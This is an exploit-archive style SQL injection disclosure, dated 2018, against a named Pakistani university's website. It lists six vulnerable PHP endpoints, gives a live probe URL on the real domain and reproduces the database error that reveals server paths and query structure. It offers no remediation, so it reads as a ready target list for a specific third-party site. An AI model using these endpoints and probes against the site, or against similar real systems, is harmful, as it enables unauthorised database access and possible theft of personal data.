#################################################################################################
# Exploit Title : Baqai Medical University Pakistan SQL Injection Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 08/11/2018
# Vendor Homepage : baqai.edu.pk
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ]
#################################################################################################
# SQL Injection Exploit :
/NewsDetail.php?id=[SQL Injection]
/FacultyDetail.php?id=[SQL Injection]
/Articles-Main.php?id=[SQL Injection]
/EventDetail.php?id=[SQL Injection]
/InstituteDetail.php?id=[SQL Injection]
/CollegeDetail.php?id=[SQL Injection]
#################################################################################################
# Example Vulnerable Site =>
[+] baqai.edu.pk/NewsDetail.php?id=47%27
#################################################################################################
# SQL Database Error :
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]:
Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near ''47''' at line 1' in D:\Inetpub\vhosts
\baqai.edu.pk\httpdocs\NewsDetail.php:10 Stack trace: #0 D:\Inetpub\vhosts\baqai.edu.pk\httpdocs\NewsDetail.php(10):
PDO->query('select * from n...') #1 {main} thrown in D:\Inetpub\vhosts\baqai.edu.pk\httpdocs\NewsDetail.php on line 10
#################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#################################################################################################